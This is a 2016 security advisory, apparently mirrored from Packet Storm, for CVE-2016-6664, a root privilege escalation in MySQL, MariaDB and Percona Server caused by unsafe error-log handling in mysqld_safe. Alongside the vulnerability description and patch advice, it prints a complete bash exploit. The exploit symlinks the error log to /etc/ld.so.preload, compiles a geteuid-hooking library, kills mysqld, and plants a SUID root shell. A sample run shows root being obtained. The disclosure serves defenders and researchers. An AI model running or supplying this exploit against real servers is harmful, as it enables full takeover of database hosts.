Lucene search

K
packetstormDawid GolunskiPACKETSTORM:139491
HistoryNov 02, 2016 - 12:00 a.m.

MySQL / MariaDB / PerconaDB Root Privilege Escalation

2016-11-0200:00:00
Dawid Golunski
packetstormsecurity.com
282

0.118 Low

EPSS

Percentile

94.8%

`=============================================  
- Release date: 01.11.2016  
- Discovered by: Dawid Golunski  
- Severity: High/Critical  
- CVE-2016-6664 / OCVE-2016-5617  
- http://legalhackers.com  
=============================================  
  
  
I. VULNERABILITY  
-------------------------  
  
MySQL / MariaDB / PerconaDB - Root Privilege Escalation  
  
MySQL   
<= 5.5.51  
<= 5.6.32  
<= 5.7.14  
  
MariaDB  
All current  
  
Percona Server  
< 5.5.51-38.2  
< 5.6.32-78-1  
< 5.7.14-8  
  
Percona XtraDB Cluster  
< 5.6.32-25.17  
< 5.7.14-26.17  
< 5.5.41-37.0  
  
  
II. BACKGROUND  
-------------------------  
  
MySQL:  
  
"MySQL is the world's most popular open source database.  
Whether you are a fast growing web property, technology ISV or large  
enterprise, MySQL can cost-effectively help you deliver high performance,  
scalable database applications."  
  
"Many of the world's largest and fastest-growing organizations including  
Facebook, Google, Adobe, Alcatel Lucent and Zappos rely on MySQL to save time  
and money powering their high-volume Web sites, business-critical systems and  
packaged software."  
  
http://www.mysql.com/products/  
http://www.mysql.com/why-mysql/  
  
--  
  
MariaDB:  
  
"MariaDB is one of the most popular database servers in the world.   
ItAAC/AC/aA!AC/aAC/s made by the original developers of MySQL and guaranteed to stay open source.   
Notable users include Wikipedia, WordPress.com and Google.  
  
MariaDB turns data into structured information in a wide array of applications,   
ranging from banking to websites. It is an enhanced, drop-in replacement for MySQL.   
MariaDB is used because it is fast, scalable and robust, with a rich ecosystem of   
storage engines, plugins and many other tools make it very versatile for a wide   
variety of use cases."  
  
https://mariadb.org/about/  
  
--  
  
PerconaDB:  
  
"Percona Server for MySQL is a free, fully compatible, enhanced, open source   
drop-in replacement for MySQL that provides superior performance, scalability   
and instrumentation.   
With over 3,000,000 downloads, Percona ServerAAC/AC/aA!AC/aAC/s self-tuning algorithms and support  
for extremely high-performance hardware delivers excellent performance and reliability."  
  
https://www.percona.com/software/mysql-database/percona-server  
  
  
III. INTRODUCTION  
-------------------------  
  
MySQL-based databases including MySQL, MariaDB and PerconaDB are affected  
by a privilege escalation vulnerability which can let attackers who have  
gained access to mysql system user to further escalate their privileges  
to root user allowing them to fully compromise the system.  
The vulnerability stems from unsafe file handling of error logs and  
other files.  
  
  
IV. DESCRIPTION  
-------------------------  
  
The error.log file on most default installations of MySQL/PerconaDB/MariaDB  
databases is stored either in /var/log/mysql or /var/lib/mysql directory.  
  
The permissions on the file and directory look as follows:  
  
root@trusty:/var/lib/mysql# ls -la /var/log/mysql  
total 468  
drwxr-s--- 2 mysql adm 4096 Sep 11 06:25 .  
drwxrwxr-x 36 root syslog 4096 Sep 11 06:25 ..  
-rw-r----- 1 mysql adm 0 Sep 11 06:25 error.log  
  
root@trusty:/var/lib/mysql# ls -lad /var/log/mysql  
drwxr-s--- 2 mysql adm 4096 Sep 11 06:25 /var/log/mysql  
  
  
mysqld_safe wrapper that is normally used for starting MySQL daemon and   
creating/reopening the error.log performs certain unsafe file operations that  
may allow attackers to gain root privileges.  
  
The wrapper script contains a 'while' loop shown below which monitors the mysqld   
process and performs a restart in case of the process failure.   
The restart involves re-creation of the error.log file if syslog logging has  
not been configured instead of error log files (file-based logging is the   
default setting on most installations).  
  
  
--------[ mysqld_safe ]--------  
[...]  
  
while true  
do  
rm -f "$pid_file" # Some extra safety  
  
start_time=`date +%M%S`  
  
eval_log_error "$cmd"  
  
if [ $want_syslog -eq 0 -a ! -f "$err_log" ]; then  
touch "$err_log" # hypothetical: log was renamed but not  
chown $user "$err_log" # flushed yet. we'd recreate it with  
chmod "$fmode" "$err_log" # wrong owner next time we log, so set  
fi # it up correctly while we can!  
  
[...]  
  
-------------------------------  
  
As can be seen, the error.log file is created (touch) and chowned to the user  
running the mysqld daemon (typically 'mysql').   
  
The operation is vulnerable to a symlink attack.  
  
Attackers who obtained access to mysql account, through CVE-2016-6663  
vulnerability described at:  
  
http://legalhackers.com/advisories/MySQL-Maria-Percona-RootPrivEsc-CVE-2016-6664-5617-Exploit.html  
  
would gain access to /var/log or /var/lib/mysql directories (owned by mysql user)   
and could therefore easily remove the error.log file and replace it   
with a symlink to an arbitrary system file and escalate privileges.  
  
The privilege escalation could be triggered instantly (without the need to wait  
for mysql service restart/reboot) by attackers having 'mysql' account by simply   
killing the mysqld child process (launched by the mysqld_safe wrapper).  
  
When the mysqld process gets terminated, the wrapper will then re-itertate the   
loop shown above and immediately create a mysql-owned file in the location   
specified by the attacker in the symlink thus allowing attackers to quickly  
escalate their privileges.  
  
  
V. PROOF OF CONCEPT EXPLOIT  
-------------------------  
  
-------[ mysql-chowned.sh ]------  
  
#!/bin/bash -p  
#  
# MySQL / MariaDB / PerconaDB - Root Privilege Escalation PoC Exploit  
# mysql-chowned.sh (ver. 1.0)  
#  
# CVE-2016-6664 / OCVE-2016-5617  
#  
# Discovered and coded by:  
#  
# Dawid Golunski  
# dawid[at]legalhackers.com  
#  
# https://legalhackers.com  
#  
# Follow https://twitter.com/dawid_golunski for updates on this advisory.  
#  
# This PoC exploit allows attackers to (instantly) escalate their privileges  
# from mysql system account to root through unsafe error log handling.  
# The exploit requires that file-based logging has been configured (default).  
# To confirm that syslog logging has not been enabled instead use:  
# grep -r syslog /etc/mysql  
# which should return no results.  
#  
# This exploit can be chained with the following vulnerability:  
# CVE-2016-6663 / OCVE-2016-5616  
# which allows attackers to gain access to mysql system account (mysql shell).  
#  
# In case database server has been configured with syslog you may also use:  
# CVE-2016-6662 as an alternative to this exploit.  
#  
# Usage:  
# ./mysql-chowned.sh path_to_error.log   
#  
#  
# See the full advisory for details at:  
# https://legalhackers.com/advisories/MySQL-Maria-Percona-RootPrivEsc-CVE-2016-6664-5617-Exploit.html  
#  
# Video PoC:  
# https://legalhackers.com/videos/MySQL-MariaDB-PerconaDB-PrivEsc-Race-CVE-2016-6663-5616-6664-5617-Exploits.html  
#  
# Disclaimer:  
# For testing purposes only. Do no harm.  
#  
  
BACKDOORSH="/bin/bash"  
BACKDOORPATH="/tmp/mysqlrootsh"  
PRIVESCLIB="/tmp/privesclib.so"  
PRIVESCSRC="/tmp/privesclib.c"  
SUIDBIN="/usr/bin/sudo"  
  
function cleanexit {  
# Cleanup   
echo -e "\n[+] Cleaning up..."  
rm -f $PRIVESCSRC  
rm -f $PRIVESCLIB  
rm -f $ERRORLOG  
touch $ERRORLOG  
if [ -f /etc/ld.so.preload ]; then  
echo -n > /etc/ld.so.preload  
fi  
echo -e "\n[+] Job done. Exiting with code $1 \n"  
exit $1  
}  
  
function ctrl_c() {  
echo -e "\n[+] Active exploitation aborted. Remember you can use -deferred switch for deferred exploitation."  
cleanexit 0  
}  
  
#intro   
echo -e "\033[94m \nMySQL / MariaDB / PerconaDB - Root Privilege Escalation PoC Exploit \nmysql-chowned.sh (ver. 1.0)\n\nCVE-2016-6664 / OCVE-2016-5617\n"  
echo -e "Discovered and coded by: \n\nDawid Golunski \nhttp://legalhackers.com \033[0m"  
  
# Args  
if [ $# -lt 1 ]; then  
echo -e "\n[!] Exploit usage: \n\n$0 path_to_error.log \n"  
echo -e "It seems that this server uses: `ps aux | grep mysql | awk -F'log-error=' '{ print $2 }' | cut -d' ' -f1 | grep '/'`\n"  
exit 3  
fi  
  
# Priv check  
  
echo -e "\n[+] Starting the exploit as \n\033[94m`id`\033[0m"  
id | grep -q mysql   
if [ $? -ne 0 ]; then  
echo -e "\n[!] You need to execute the exploit as mysql user! Exiting.\n"  
exit 3  
fi  
  
# Set target paths  
ERRORLOG="$1"  
if [ ! -f $ERRORLOG ]; then  
echo -e "\n[!] The specified MySQL catalina.out log ($ERRORLOG) doesn't exist. Try again.\n"  
exit 3  
fi  
echo -e "\n[+] Target MySQL log file set to $ERRORLOG"  
  
# [ Active exploitation ]  
  
trap ctrl_c INT  
# Compile privesc preload library  
echo -e "\n[+] Compiling the privesc shared library ($PRIVESCSRC)"  
cat <<_solibeof_>$PRIVESCSRC  
#define _GNU_SOURCE  
#include <stdio.h>  
#include <sys/stat.h>  
#include <unistd.h>  
#include <dlfcn.h>  
#include <sys/types.h>  
#include <sys/stat.h>  
#include <fcntl.h>  
  
uid_t geteuid(void) {  
static uid_t (*old_geteuid)();  
old_geteuid = dlsym(RTLD_NEXT, "geteuid");  
if ( old_geteuid() == 0 ) {  
chown("$BACKDOORPATH", 0, 0);  
chmod("$BACKDOORPATH", 04777);  
//unlink("/etc/ld.so.preload");  
}  
return old_geteuid();  
}  
_solibeof_  
/bin/bash -c "gcc -Wall -fPIC -shared -o $PRIVESCLIB $PRIVESCSRC -ldl"  
if [ $? -ne 0 ]; then  
echo -e "\n[!] Failed to compile the privesc lib $PRIVESCSRC."  
cleanexit 2;  
fi  
  
  
# Prepare backdoor shell  
cp $BACKDOORSH $BACKDOORPATH  
echo -e "\n[+] Backdoor/low-priv shell installed at: \n`ls -l $BACKDOORPATH`"  
  
# Safety check  
if [ -f /etc/ld.so.preload ]; then  
echo -e "\n[!] /etc/ld.so.preload already exists. Exiting for safety."  
exit 2  
fi  
  
# Symlink the log file to /etc  
rm -f $ERRORLOG && ln -s /etc/ld.so.preload $ERRORLOG  
if [ $? -ne 0 ]; then  
echo -e "\n[!] Couldn't remove the $ERRORLOG file or create a symlink."  
cleanexit 3  
fi  
echo -e "\n[+] Symlink created at: \n`ls -l $ERRORLOG`"  
  
# Wait for MySQL to re-open the logs  
echo -ne "\n[+] Waiting for MySQL to re-open the logs/MySQL service restart...\n"  
read -p "Do you want to kill mysqld process to instantly get root? :) ? [y/n] " THE_ANSWER  
if [ "$THE_ANSWER" = "y" ]; then  
echo -e "Got it. Executing 'killall mysqld' now..."  
killall mysqld  
fi  
while :; do   
sleep 0.1  
if [ -f /etc/ld.so.preload ]; then  
echo $PRIVESCLIB > /etc/ld.so.preload  
rm -f $ERRORLOG  
break;  
fi  
done  
  
# /etc/ dir should be owned by mysql user at this point  
# Inject the privesc.so shared library to escalate privileges  
echo $PRIVESCLIB > /etc/ld.so.preload  
echo -e "\n[+] MySQL restarted. The /etc/ld.so.preload file got created with mysql privileges: \n`ls -l /etc/ld.so.preload`"  
echo -e "\n[+] Adding $PRIVESCLIB shared lib to /etc/ld.so.preload"  
echo -e "\n[+] The /etc/ld.so.preload file now contains: \n`cat /etc/ld.so.preload`"  
chmod 755 /etc/ld.so.preload  
  
# Escalating privileges via the SUID binary (e.g. /usr/bin/sudo)  
echo -e "\n[+] Escalating privileges via the $SUIDBIN SUID binary to get root!"  
sudo 2>/dev/null >/dev/null  
  
#while :; do   
# sleep 0.1  
# ps aux | grep mysqld | grep -q 'log-error'  
# if [ $? -eq 0 ]; then  
# break;  
# fi  
#done  
  
# Check for the rootshell  
ls -l $BACKDOORPATH  
ls -l $BACKDOORPATH | grep rws | grep -q root  
if [ $? -eq 0 ]; then   
echo -e "\n[+] Rootshell got assigned root SUID perms at: \n`ls -l $BACKDOORPATH`"  
echo -e "\n\033[94mGot root! The database server has been ch-OWNED !\033[0m"  
else  
echo -e "\n[!] Failed to get root"  
cleanexit 2  
fi  
  
  
# Execute the rootshell  
echo -e "\n[+] Spawning the rootshell $BACKDOORPATH now! \n"  
$BACKDOORPATH -p -c "rm -f /etc/ld.so.preload; rm -f $PRIVESCLIB"  
$BACKDOORPATH -p  
  
# Job done.  
cleanexit 0  
  
  
  
------------EOF------------------  
  
  
Example run  
~~~~~~~~~~~~~~~  
  
mysql_suid_shell.MYD-4.3$ whoami  
mysql  
  
omysql_suid_shell.MYD-4.3$ dpkg -l | grep percona-server-server  
iU percona-server-server 5.6.32-78.0-1.xenial amd64 Percona Server database server  
iF percona-server-server-5.6 5.6.32-78.0-1.xenial amd64 Percona Server database server binaries  
  
mysql_suid_shell.MYD-4.3$ ./mysql-chowned.sh /var/lib/mysql/xenial-percona.err   
  
MySQL / MariaDB / PerconaDB - Root Privilege Escalation PoC Exploit   
mysql-chowned.sh (ver. 1.0)  
  
CVE-2016-6664 / OCVE-2016-5617  
  
Discovered and coded by:   
  
Dawid Golunski   
http://legalhackers.com   
  
[+] Starting the exploit as   
uid=1001(attacker) gid=1001(attacker) euid=107(mysql) groups=1001(attacker)  
  
[+] Target MySQL log file set to /var/lib/mysql/xenial-percona.err  
  
[+] Compiling the privesc shared library (/tmp/privesclib.c)  
  
[+] Backdoor/low-priv shell installed at:   
-rwxr-xr-x 1 mysql attacker 1037528 Nov 1 05:08 /tmp/mysqlrootsh  
  
[+] Symlink created at:   
lrwxrwxrwx 1 mysql attacker 18 Nov 1 05:08 /var/lib/mysql/xenial-percona.err -> /etc/ld.so.preload  
  
[+] Waiting for MySQL to re-open the logs/MySQL service restart...  
Do you want to kill mysqld process to instantly get root? :) ? [y/n] y  
Got it. Executing 'killall mysqld' now...  
  
[+] MySQL restarted. The /etc/ld.so.preload file got created with mysql privileges:   
-rw-r----- 1 mysql root 19 Nov 1 05:08 /etc/ld.so.preload  
  
[+] Adding /tmp/privesclib.so shared lib to /etc/ld.so.preload  
  
[+] The /etc/ld.so.preload file now contains:   
/tmp/privesclib.so  
  
[+] Escalating privileges via the /usr/bin/sudo SUID binary to get root!  
-rwsrwxrwx 1 root root 1037528 Nov 1 05:08 /tmp/mysqlrootsh  
  
[+] Rootshell got assigned root SUID perms at:   
-rwsrwxrwx 1 root root 1037528 Nov 1 05:08 /tmp/mysqlrootsh  
  
Got root! The database server has been ch-OWNED !  
  
[+] Spawning the rootshell /tmp/mysqlrootsh now!   
  
mysqlrootsh-4.3# whoami  
root  
  
mysqlrootsh-4.3# exit  
exit  
  
[+] Cleaning up...  
  
[+] Job done. Exiting with code 0  
  
  
  
Video PoC:  
~~~~~~~~~~~~  
  
http://legalhackers.com/videos/MySQL-MariaDB-PerconaDB-PrivEsc-Race-CVE-2016-6663-5616-6664-5617-Exploits.html  
  
  
VI. BUSINESS IMPACT  
-------------------------  
  
Although the severity of this issue is lower on its own (attackers need to  
gain access to mysql system user), the vulnerability could easily be combined   
with the CVE-2016-6663 issue.  
The combination of the two would effectively allow low privileged local   
database users to escalate their system privileges to root system account and   
allow them to fully compromise the server which increases the severity of this  
issue.  
  
  
VII. SYSTEMS AFFECTED  
-------------------------  
  
MySQL   
<= 5.5.51  
<= 5.6.32  
<= 5.7.14  
  
MariaDB  
All current  
  
Percona Server  
< 5.5.51-38.2  
< 5.6.32-78-1  
< 5.7.14-8  
  
Percona XtraDB Cluster  
< 5.6.32-25.17  
< 5.7.14-26.17  
< 5.5.41-37.0  
  
VIII. SOLUTION  
-------------------------  
  
Vendors have released patches after private disclosure.  
Update to the latest version of your DBMS.  
  
  
IX. REFERENCES  
-------------------------  
  
http://legalhackers.com  
  
This advisory:  
http://legalhackers.com/advisories/MySQL-Maria-Percona-RootPrivEsc-CVE-2016-6664-5617-Exploit.html  
  
Exploit source code:  
http://legalhackers.com/exploits/CVE-2016-6664/mysql-chowned.sh  
  
Related mysql vulnerabilities discovered by the author of thid advisory that can be chained with   
the CVE-2016-6664 vulnerability:  
  
CVE-2016-6663:  
http://legalhackers.com/advisories/MySQL-Maria-Percona-PrivEscRace-CVE-2016-6663-5616-Exploit.html  
CVE-2016-6662:  
http://legalhackers.com/advisories/MySQL-Exploit-Remote-Root-Code-Execution-Privesc-CVE-2016-6662.html  
  
  
Video PoC:  
http://legalhackers.com/videos/MySQL-MariaDB-PerconaDB-PrivEsc-Race-CVE-2016-6663-5616-6664-5617-Exploits.html  
  
CVE-2016-6664  
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-6664  
  
Oracle CPU:  
http://www.oracle.com/technetwork/security-advisory/cpuoct2016-2881722.html#AppendixMSQL  
  
  
  
X. CREDITS  
-------------------------  
  
The vulnerability has been discovered by Dawid Golunski  
dawid (at) legalhackers (dot) com  
  
http://legalhackers.com  
  
XI. REVISION HISTORY  
-------------------------  
  
01.11.2016 - Advisory released  
  
  
XII. LEGAL NOTICES  
-------------------------  
  
The information contained within this advisory is supplied "as-is" with  
no warranties or guarantees of fitness of use or otherwise. I accept no  
responsibility for any damage caused by the use or misuse of this information.  
  
`